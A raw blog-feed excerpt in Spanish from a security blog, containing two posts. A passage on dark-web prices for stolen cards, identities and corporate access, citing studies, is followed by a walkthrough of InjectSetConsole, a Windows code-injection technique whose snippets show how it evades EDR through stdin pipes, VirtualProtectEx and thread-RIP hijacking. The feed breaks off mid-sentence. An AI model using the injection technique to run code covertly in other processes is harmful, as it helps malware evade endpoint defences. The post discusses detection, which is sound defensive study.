src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrlakL_tyeat09r0TM5jTlgk5STrJHzYJAIzym5r-VZ5Etvqcmsljw-uRPDiJFxYJleVHo24l8WzeY56M_1sMeErkXJLwMVqClv5ovSFTIELuXTz7el9MArpbodZHvCRYRHhCeSsg89Wx4SyJk6HLFGF8WKf-15shskVtF1QfAiFpV38R7qDq_LaCs9ECq/s320/privacy-id.gif&quot; width=&quot;246&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2&gt;Una tarjeta de crédito puede costar menos que una entrada de cine&lt;/h2&gt;&lt;p&gt;Los estudios sobre mercados de tarjetas muestran precisamente esa contradicción.&lt;/p&gt;&lt;p&gt;Una&amp;nbsp;&lt;a href=&quot;https://www.comparitech.com/blog/vpn-privacy/dark-web-prices&quot; target=&quot;_blank&quot;&gt;investigación de Comparitech &lt;/a&gt;encontró valores medios de alrededor de &lt;strong&gt;17 dólares&lt;/strong&gt; para los datos básicos de una tarjeta —número, CVV, caducidad, nombre y código postal—, mientras que las tarjetas físicas clonadas podían alcanzar valores muy superiores.&lt;/p&gt;&lt;p&gt;Más recientemente, una &lt;a href=&quot;https://nordvpn.com/es/research-lab/en-juego-el-coste-de-los-datos-robados-de-las-tarjetas&quot; target=&quot;_blank&quot;&gt;investigación de NordVPN&lt;/a&gt; sobre más de 50.000 registros publicados durante 2025 situó el precio medio mundial de una tarjeta robada alrededor de &lt;strong&gt;7 euros&lt;/strong&gt;, aunque con enormes diferencias geográficas. En ese estudio, las tarjetas españolas alcanzaban aproximadamente &lt;strong&gt;10 euros de media&lt;/strong&gt;, mientras que las japonesas rondaban los 20 euros.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Es una cifra casi ridícula si pensamos en lo que puede llegar a perder el titular y precisamente ahí está el negocio: el atacante no necesita que cada tarjeta produzca miles de euros, necesita que &lt;strong&gt;una fracción de miles o millones de tarjetas resulte rentable&lt;/strong&gt;. Es economía de escala.&lt;/p&gt;&lt;h2&gt;El problema de las tarjetas no es sólo la tarjeta&lt;/h2&gt;&lt;p&gt;Además, una tarjeta rara vez aparece completamente aislada. Los &lt;a href=&quot;https://www.rapid7.com/blog/post/tr-carding-as-a-service-stolen-credit-cards-fraud/&quot; target=&quot;_blank&quot;&gt;investigadores de Rapid7&lt;/a&gt; observaron que buena parte de los registros de tarjetas encontrados en determinados mercados incluían también información adicional, como direcciones de correo electrónico o números de teléfono. En algunos mercados, esa información complementaria aparecía asociada a prácticamente todos los registros analizados. Y esto cambia completamente el escenario.&lt;/p&gt;&lt;p&gt;Una tarjeta:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;4111 1111 .... 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;es un dato financiero.&lt;/p&gt;&lt;p&gt;Una tarjeta asociada a:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Nombre
Dirección
Email
Teléfono
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;es también una pieza de identidad.&lt;/p&gt;&lt;p&gt;Y una identidad puede ser utilizada para otros ataques.&lt;/p&gt;&lt;p&gt;Por eso una filtración de tarjetas no debe interpretarse únicamente como un problema de fraude con tarjeta, puede convertirse en un problema de &lt;strong&gt;suplantación, phishing dirigido, account takeover y fraude de identidad&lt;/strong&gt;.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1hRkk2vpb2DlVKbGggs43Dr1n2kaZo5Q4OaIk6EkVv5bw7EDZ8GeIjyOcIHt5obdmRgaSv5bQ4w90DaKomgBsHpBw0uxivrBbfi8HrsAuux4-R9_XaqxxvOw87eeV_zdkYDMWWfS9aoGJ2fmkFnj0FboFXjagdhdKs6GwZNizpgvYcy2zColjyDMsHvkA/s800/tarjetagato.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;800&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1hRkk2vpb2DlVKbGggs43Dr1n2kaZo5Q4OaIk6EkVv5bw7EDZ8GeIjyOcIHt5obdmRgaSv5bQ4w90DaKomgBsHpBw0uxivrBbfi8HrsAuux4-R9_XaqxxvOw87eeV_zdkYDMWWfS9aoGJ2fmkFnj0FboFXjagdhdKs6GwZNizpgvYcy2zColjyDMsHvkA/s320/tarjetagato.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2&gt;Entonces, ¿cuánto cuesta una identidad completa?&lt;/h2&gt;&lt;p&gt;Aquí las cifras comienzan a subir. Un &lt;a href=&quot;https://www.cybercrimejournal.com/pdf/Steelvol13issue1IJCC2019.pdf&quot; target=&quot;_blank&quot;&gt;análisis académico de mercados de &lt;em&gt;fullz&lt;/em&gt;&lt;/a&gt; encontró precios desde cantidades prácticamente insignificantes hasta más de &lt;strong&gt;200 dólares por identidad&lt;/strong&gt;, con una media de aproximadamente &lt;strong&gt;23,94 dólares&lt;/strong&gt; en la muestra estudiada. Pero las cifras históricas tienen que interpretarse con cuidado: el mercado ha cambiado, la industrialización del fraude ha creado productos mucho más elaborados.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Hoy no se comercializa necesariamente &quot;un DNI&quot;. Se comercializa una identidad preparada para superar un determinado proceso, y eso es bastante diferente.&lt;/p&gt;&lt;p&gt;Una &lt;a href=&quot;https://www.sciencedirect.com/science/article/pii/S0379073824002846&quot; target=&quot;_blank&quot;&gt;investigación&lt;/a&gt; publicada en 2025 encontró, por ejemplo, paquetes de identidad británicos que incluían documento, selfie y datos personales por cantidades inferiores a &lt;strong&gt;30 libras&lt;/strong&gt;, mientras que determinados productos de identidad y documentos de mayor calidad podían alcanzar miles de libras.&lt;/p&gt;&lt;p&gt;El precio depende de algo fundamental:&amp;nbsp;&lt;strong&gt;¿qué nivel de confianza puede comprar el atacante con esa identidad?&lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;El verdadero lujo: una identidad que parece real&lt;/h2&gt;&lt;p&gt;Aquí aparece una de las partes más interesantes del mercado.&lt;/p&gt;&lt;p&gt;Supongamos dos registros:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;IDENTIDAD A

Nombre
Dirección
Fecha de nacimiento
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;y:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;IDENTIDAD B

Nombre
Dirección
Fecha de nacimiento
Documento
Selfie
Teléfono
Email
Cuenta financiera
Historial consistente
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ambas representan aparentemente a la misma persona, pero desde el punto de vista del atacante no valen lo mismo. La segunda tiene algo mucho más importante que información:&amp;nbsp;&lt;strong&gt;coherencia.&amp;nbsp;&lt;/strong&gt;Nombre, dirección, documento, fotografía y teléfono encajan. Cuantas más piezas puedan verificarse entre sí, más posibilidades existen de utilizar la identidad en sistemas automatizados de verificación. Es la razón por la que los procesos KYC se han convertido también en un objetivo.&lt;/p&gt;&lt;p&gt;El delincuente no quiere únicamente &quot;saber quién eres&quot;. Quiere poder &lt;strong&gt;hacerse pasar por ti ante una máquina.&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLPTio9Ac4sI5FEVdnCnCKfwdiKRlwuzgAS84FnMY-fe31aNjOIkvdPjGqDzCMK5oZ6giH8Yxet1tolDU4wkaUy6YiNvmdKwnNyxuJ99sm77jmnWDT9Dgtf8ZcPtvc5FQgTPcVy4b63wYqHdY2h3FfzFrJU2T6xiwVWYgdwvVvObmcswTP6zv1jQHgrnFX/s2124/spoofing.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2124&quot; data-original-width=&quot;1759&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLPTio9Ac4sI5FEVdnCnCKfwdiKRlwuzgAS84FnMY-fe31aNjOIkvdPjGqDzCMK5oZ6giH8Yxet1tolDU4wkaUy6YiNvmdKwnNyxuJ99sm77jmnWDT9Dgtf8ZcPtvc5FQgTPcVy4b63wYqHdY2h3FfzFrJU2T6xiwVWYgdwvVvObmcswTP6zv1jQHgrnFX/s320/spoofing.jpg&quot; width=&quot;265&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2&gt;Y entonces aparece el salto de precio&lt;/h2&gt;&lt;p&gt;Los documentos de identidad constituyen otro mercado completamente diferente.&lt;/p&gt;&lt;p&gt;La &lt;a href=&quot;https://nordvpn.com/es/research-lab/en-juego-el-coste-de-los-datos-robados-de-las-tarjetas&quot; target=&quot;_blank&quot;&gt;investigación de NordVPN&lt;/a&gt; encontró que las copias de pasaportes podían aparecer desde aproximadamente &lt;strong&gt;10 dólares&lt;/strong&gt;, mientras que determinados pasaportes europeos verificados podían alcanzar varios miles de dólares.&lt;/p&gt;&lt;p&gt;Otro estudio sobre mercados clandestinos observó que los pasaportes se encontraban entre los productos de identidad de mayor precio, llegando en su conjunto hasta varios miles de dólares en determinados periodos y mercados. Los paquetes &lt;em&gt;Fullz ID&lt;/em&gt;, por su parte, llegaron a situarse alrededor de los 100 dólares en la muestra analizada.&lt;/p&gt;&lt;p&gt;La diferencia parece desproporcionada, pero vuelve a existir la misma explicación:&amp;nbsp;&lt;strong&gt;no se está comprando el documento, s&lt;/strong&gt;e está comprando lo que el documento permite conseguir.&lt;/p&gt;&lt;h2&gt;El mercado funciona como una cadena de suministro&lt;/h2&gt;&lt;p&gt;Aquí es donde la imagen tradicional de &quot;un hacker robando una tarjeta&quot; empieza a quedarse pequeña.&lt;/p&gt;&lt;p&gt;Imaginemos una cadena:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;                    DATOS
                      │
                      ▼
              ┌──────────────┐
              │   Ladrón     │
              └──────┬───────┘
                     │
                     ▼
              ┌──────────────┐
              │  Data broker │
              └──────┬───────┘
                     │
             ┌───────┴────────┐
             ▼                ▼
        Credenciales       Identidad
             │                │
             ▼                ▼
       Access Broker      Fraudster
             │                │
             └───────┬────────┘
                     ▼
                  FRAUDE
                     │
                     ▼
                  DINERO
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;El actor que roba los datos no tiene por qué ser el mismo que los utiliza. De hecho, cada vez resulta menos necesario que lo sea.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://filestore.fortinet.com/fortiguard/2025_Global_Threat_Landscape_Report.pdf&quot; target=&quot;_blank&quot;&gt;Fortinet describía en su informe de 2025&lt;/a&gt; cómo los &lt;em&gt;Initial Access Brokers&lt;/em&gt; venden accesos ya comprometidos y cómo credenciales VPN, RDP, paneles administrativos y otros accesos corporativos forman parte de una auténtica cadena de suministro criminal.&lt;/p&gt;&lt;p&gt;Esto es importante porque introduce un concepto que normalmente asociamos con empresas legítimas:&amp;nbsp;&lt;strong&gt;especialización.&amp;nbsp;&lt;/strong&gt;Uno roba, otro valida, otro clasifica, otro vende, otro compra, otro monetiza y otro mueve el dinero.&lt;/p&gt;&lt;h2&gt;La tarjeta es sólo el principio&lt;/h2&gt;&lt;p&gt;Podemos representar el valor de una identidad como una pirámide. En la base tenemos los datos baratos y abundantes:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Email
Teléfono
Nombre
Dirección
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Después:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Credenciales
Cookies
Documentos
Tarjetas
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Más arriba:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Identidad completa
Selfie + documento
Cuenta financiera
Cuenta verificada
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Y en otro nivel:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Acceso corporativo
Cuenta privilegiada
Infraestructura comprometida
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;En este último caso ya ni siquiera estamos hablando de cuánto vale una persona, estamos hablando de cuánto vale &lt;strong&gt;el acceso que esa persona proporciona&lt;/strong&gt;. Y aquí el precio puede cambiar radicalmente.&lt;/p&gt;&lt;p&gt;El informe de Fortinet señalaba que durante 2024 los accesos corporativos ofrecidos por &lt;em&gt;Initial Access Brokers&lt;/em&gt; incluían especialmente credenciales VPN, RDP, paneles administrativos y webshells. Una contraseña no vale mucho pero una contraseña que abre la puerta de una empresa puede valer muchísimo.&lt;/p&gt;&lt;h2&gt;El dato más caro puede ser el que menos sospechamos&lt;/h2&gt;&lt;p&gt;Hay otro resultado que rompe bastante con la narrativa habitual. Los datos de tarjetas reciben una enorme atención porque son fáciles de entender: &quot;Han robado tu tarjeta.&quot;&lt;/p&gt;&lt;p&gt;Pero en la economía underground existen datos mucho más persistentes. Un número de tarjeta puede ser cancelado, un PIN puede cambiarse, una contraseña puede resetearse... pero determinados datos biométricos, documentos o información médica no pueden sustituirse con la misma facilidad.&lt;/p&gt;&lt;p&gt;Precisamente por eso el &lt;a href=&quot;https://flare.io/learn/resources/blog/cost-of-data-dark-web&quot; target=&quot;_blank&quot;&gt;análisis de Flare&lt;/a&gt; sitúa los datos sanitarios por encima de los datos financieros en su valoración media. No porque sean necesariamente más fáciles de monetizar inmediatamente, sino porque son &lt;strong&gt;más difíciles de revocar&lt;/strong&gt;. Y en economía criminal, la permanencia también tiene un precio.&lt;/p&gt;&lt;h2&gt;¿Cuánto valdríamos entonces?&lt;/h2&gt;&lt;p&gt;Si quisiéramos construir una especie de &quot;valoración&quot; de una identidad digital, podríamos imaginar algo parecido a esto:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;                 IDENTIDAD
                     │
          ┌──────────┴──────────┐
          │                     │
       Identidad             Accesos
          │                     │
    ┌─────┴─────┐        ┌──────┴──────┐
    │           │        │             │
   PII      Documentos  Email       Financiero
    │           │        │             │
    ▼           ▼        ▼             ▼
   €€          €€€       €€           €€€
                     \      /
                      \    /
                       ▼  ▼
                    MONETIZACIÓN
                        │
                        ▼
                       $$$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Pero existe una conclusión mucho más interesante:&amp;nbsp;&lt;strong&gt;no existe un precio para tu identidad.&amp;nbsp;&lt;/strong&gt;Existe un precio para cada una de las cosas que alguien puede hacer con ella.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Tu nombre puede valer casi nada.&lt;/li&gt;&lt;li&gt;Tu email, unos céntimos.&lt;/li&gt;&lt;li&gt;Tu tarjeta, unos pocos euros.&lt;/li&gt;&lt;li&gt;Un paquete de identidad, decenas de euros.&lt;/li&gt;&lt;li&gt;Un documento de identidad convincente, cientos.&lt;/li&gt;&lt;li&gt;Una identidad verificada y utilizable en determinados contextos, mucho más.&lt;/li&gt;&lt;li&gt;Y un acceso privilegiado a una organización puede estar en otra liga completamente distinta.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;El verdadero negocio es la combinación&lt;/h2&gt;&lt;p&gt;Esta es probablemente la conclusión más importante. La economía underground no funciona sumando:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;DNI + tarjeta + email = X €
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Funciona multiplicando posibilidades:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;DNI
 +
Selfie
 +
Teléfono
 +
Email
 +
Cuenta bancaria
 +
Historial consistente
        │
        ▼
Más posibilidades de fraude
        │
        ▼
Mayor demanda
        │
        ▼
Mayor valor
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Por eso las filtraciones modernas son tan peligrosas. No necesitamos que alguien consiga &quot;el dato secreto&quot;, necesitamos preocuparnos por la &lt;strong&gt;correlación de datos&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Una filtración puede aportar el email, otras la dirección, el teléfono, información financiera, un documento.... Por separado pueden parecer piezas de escaso valor pero juntas pueden formar algo mucho más peligroso:&amp;nbsp;&lt;strong&gt;una persona digital que puede ser utilizada sin que la persona real esté delante.&amp;nbsp;&lt;/strong&gt;Y quizá esa sea la mejor manera de entender cuánto valemos en el underground.&lt;/p&gt;&lt;p&gt;No somos una tarjeta de crédito de 7 euros, o un DNI de 50 o un un &lt;em&gt;fullz&lt;/em&gt; de 100. Somos un conjunto de piezas que diferentes actores pueden recombinar hasta convertir nuestra identidad en una herramienta de fraude. La mercancía no somos nosotros.&amp;nbsp;&lt;strong&gt;Es nuestra capacidad de demostrar que somos nosotros.&amp;nbsp;&lt;/strong&gt;Y cuando esa capacidad deja de estar bajo nuestro control, alguien puede estar dispuesto a pagar por ella.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/5885015746666502898/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/10/cuanto-vales-para-un-ciberdelincuente.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5885015746666502898'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5885015746666502898'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/10/cuanto-vales-para-un-ciberdelincuente.html' title='¿Cuánto vales para un ciberdelincuente? Anatomía económica de una identidad robada'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheRs9F_L1vfxEyQGMHHsOuzgubYHX1d495-9bGqdIm5sS-CnzDuup_CAbiBJVQVnJxN1KRntX6hQVfZSyqf_OBL7-Y_Til-8l4Lsn7ySo9wpItLL7-TsEhPjiAmUmTPuGmAFhOahURT_wE23khew5YtaE5xArrtvd3aGu2Zwa3sNUGD4bG2xyovYQZpLup/s72-c/money-make-it-rain.gif" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-5991849114580838291</id><published>2026-09-27T23:50:32.636+02:00</published><updated>2026-09-28T00:07:02.095+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="maldev"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>InjectSetConsole: inyección de código en procesos remotos sin VirtualAllocEx ni WriteProcessMemory</title><content type='html'>&lt;p class=&quot;isSelectedEnd&quot;&gt;Cuando pensamos en &lt;em&gt;process injection&lt;/em&gt; sobre Windows, probablemente la primera cadena que nos viene a la cabeza sea &lt;code dir=&quot;ltr&quot;&gt;OpenProcess&lt;/code&gt; → &lt;code dir=&quot;ltr&quot;&gt;VirtualAllocEx&lt;/code&gt; → &lt;code dir=&quot;ltr&quot;&gt;WriteProcessMemory&lt;/code&gt; → &lt;code dir=&quot;ltr&quot;&gt;CreateRemoteThread&lt;/code&gt;. Es una técnica conocida y, precisamente por eso, una de las cadenas que los EDR llevan años monitorizando.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El proyecto &lt;a href=&quot;https://github.com/TwoSevenOneT/InjectSetConsole&quot;&gt;InjectSetConsole&lt;/a&gt;, de TwoSevenOneT, parte de una idea bastante más interesante: &lt;strong&gt;¿y si no escribimos directamente en la memoria del proceso remoto?&lt;/strong&gt; En lugar de utilizar &lt;code dir=&quot;ltr&quot;&gt;WriteProcessMemory&lt;/code&gt;, el PoC consigue que el propio proceso objetivo reciba los datos a través de su &lt;code dir=&quot;ltr&quot;&gt;stdin&lt;/code&gt; y sea él quien termine almacenándolos en memoria.&lt;/p&gt;&lt;div style=&quot;height: 0px; margin: 30px 0px; overflow: hidden; padding-bottom: 56.25%; position: relative;&quot;&gt;
  &lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; src=&quot;https://www.youtube.com/embed/DCUnbj_usPM&quot; style=&quot;border: 0; height: 100%; left: 0; position: absolute; top: 0; width: 100%;&quot; title=&quot;InjectSetConsole - Process Code Injection Without WriteProcessMemory&quot;&gt;
  &lt;/iframe&gt;
&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La técnica comienza creando un &lt;em&gt;anonymous pipe&lt;/em&gt; mediante &lt;code dir=&quot;ltr&quot;&gt;CreatePipe&lt;/code&gt; y lanzando el proceso objetivo con su entrada estándar conectada a uno de los extremos. El código utiliza &lt;code dir=&quot;ltr&quot;&gt;STARTUPINFO&lt;/code&gt; para redirigir &lt;code dir=&quot;ltr&quot;&gt;stdin&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;stdout&lt;/code&gt; y &lt;code dir=&quot;ltr&quot;&gt;stderr&lt;/code&gt;:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CreatePipe(&amp;amp;hChildStd_IN_Rd, &amp;amp;hChildStd_IN_Wr, &amp;amp;saAttr, 0);
SetHandleInformation(hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0);

si.hStdInput  = hChildStd_IN_Rd;
si.hStdOutput = hChildStd_OUT_Wr;
si.hStdError  = hChildStd_OUT_Wr;
si.dwFlags   |= STARTF_USESTDHANDLES;

CreateProcess(
    NULL, childPath.data(),
    NULL, NULL, TRUE,
    CREATE_NEW_CONSOLE,
    NULL, NULL, &amp;amp;si, &amp;amp;pi
);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;A partir de aquí el atacante dispone de un canal de entrada perfectamente legítimo. El PoC introduce mediante ese canal un bloque de datos que contiene un marcador reconocible seguido del contenido que posteriormente pretende ejecutar:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;WriteToPipeBin(
    hChildStd_IN_Wr,
    rawData,
    sizeof(rawData)
);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La clave está en que &lt;strong&gt;no conocemos de antemano dónde terminarán esos datos&lt;/strong&gt;. No existe un &lt;code dir=&quot;ltr&quot;&gt;VirtualAllocEx&lt;/code&gt; que nos devuelva una dirección remota. Por ello, el PoC utiliza una firma contenida en &lt;code dir=&quot;ltr&quot;&gt;rawData&lt;/code&gt; y posteriormente recorre la memoria del proceso buscando esa secuencia.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La función &lt;code dir=&quot;ltr&quot;&gt;FindPatternInRemoteProcess()&lt;/code&gt; utiliza precisamente las primitivas habituales de inspección de memoria, principalmente &lt;code dir=&quot;ltr&quot;&gt;VirtualQueryEx&lt;/code&gt; y &lt;code dir=&quot;ltr&quot;&gt;ReadProcessMemory&lt;/code&gt;, hasta localizar el marcador:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;auto result =
    FindPatternInRemoteProcess(
        pi.hProcess,
        rawDataPattern
    );&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cuando encuentra la coincidencia, el inyector ya conoce la dirección donde el proceso ha terminado almacenando los datos. Es una inversión interesante respecto a la técnica tradicional: &lt;strong&gt;en lugar de reservar una dirección y escribir en ella, primero introducimos los datos y después descubrimos dónde los ha colocado el proceso&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El siguiente problema es que esa memoria no tiene por qué ser ejecutable. El PoC consulta la región y modifica sus permisos mediante &lt;code dir=&quot;ltr&quot;&gt;VirtualProtectEx&lt;/code&gt;:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;MEMORY_BASIC_INFORMATION mbi{};

VirtualQueryEx(
    pi.hProcess,
    (LPCVOID)*result,
    &amp;amp;mbi,
    sizeof(mbi)
);

DWORD oldProt = 0;

VirtualProtectEx(
    pi.hProcess,
    (LPVOID)*result,
    mbi.RegionSize,
    PAGE_EXECUTE_READWRITE,
    &amp;amp;oldProt
);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí encontramos una de las paradojas de la técnica. Hemos conseguido eliminar &lt;code dir=&quot;ltr&quot;&gt;VirtualAllocEx&lt;/code&gt; y &lt;code dir=&quot;ltr&quot;&gt;WriteProcessMemory&lt;/code&gt;, pero la operación sigue dejando una huella clara: &lt;strong&gt;una región de memoria de otro proceso cambia sus protecciones para permitir ejecución&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Todavía falta conseguir que el procesador llegue hasta esa región. En lugar de crear un nuevo hilo mediante &lt;code dir=&quot;ltr&quot;&gt;CreateRemoteThread&lt;/code&gt;, el proyecto obtiene el hilo principal del proceso y utiliza una técnica de &lt;em&gt;thread hijacking&lt;/em&gt; para modificar su contexto de ejecución. En x64 esto implica, conceptualmente, redirigir &lt;code dir=&quot;ltr&quot;&gt;RIP&lt;/code&gt; hacia la dirección encontrada:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;DWORD tid = GetMainThreadId(pi.dwProcessId);

HijackThreadRip(
    tid,
    remoteAddress + 0x19,
    true
);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El &lt;code dir=&quot;ltr&quot;&gt;0x19&lt;/code&gt; corresponde al desplazamiento existente entre el marcador utilizado para localizar el bloque y la parte que el PoC pretende ejecutar.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por tanto, la cadena completa queda reducida a algo bastante elegante:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CreatePipe
    ↓
CreateProcess + stdin
    ↓
datos controlados → proceso
    ↓
FindPatternInRemoteProcess
    ↓
VirtualQueryEx / ReadProcessMemory
    ↓
VirtualProtectEx
    ↓
thread hijacking / RIP
    ↓
ejecución&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La importancia de &lt;code dir=&quot;ltr&quot;&gt;InjectSetConsole&lt;/code&gt; no está realmente en haber encontrado una API mágica que sustituya a &lt;code dir=&quot;ltr&quot;&gt;WriteProcessMemory&lt;/code&gt;. Lo interesante es que &lt;strong&gt;cambia el canal mediante el cual los datos llegan a la memoria del proceso&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En una inyección tradicional tenemos:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;ATACANTE ──WriteProcessMemory──&amp;gt; MEMORIA REMOTA&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí tenemos:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;ATACANTE
    │
    │ stdin / pipe
    ▼
PROCESO
    │
    │ copia interna
    ▼
MEMORIA&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El proceso víctima hace parte del trabajo por nosotros.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y precisamente ahí aparece la verdadera lección para los EDR. Una detección basada únicamente en &lt;code dir=&quot;ltr&quot;&gt;VirtualAllocEx + WriteProcessMemory + CreateRemoteThread&lt;/code&gt; puede perder esta variante, pero la cadena de comportamiento sigue siendo visible: creación del proceso, comunicación mediante pipe, inspección de memoria remota, cambio de protección y manipulación del contexto de un hilo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso quizá sea más correcto hablar de &lt;strong&gt;cambio de superficie de detección&lt;/strong&gt; que de evasión completa.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La pregunta defensiva ya no debería ser simplemente &lt;em&gt;&quot;¿ha utilizado &lt;/em&gt;&lt;code dir=&quot;ltr&quot;&gt;&lt;em&gt;WriteProcessMemory&lt;/em&gt;&lt;/code&gt;&lt;em&gt;?&quot;&lt;/em&gt;, sino algo bastante más interesante:&amp;nbsp;&lt;strong&gt;¿Cómo han aparecido estos bytes en el espacio de direcciones de este proceso y por qué un hilo legítimo ha terminado ejecutándolos?&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahí es donde &lt;code dir=&quot;ltr&quot;&gt;InjectSetConsole&lt;/code&gt; 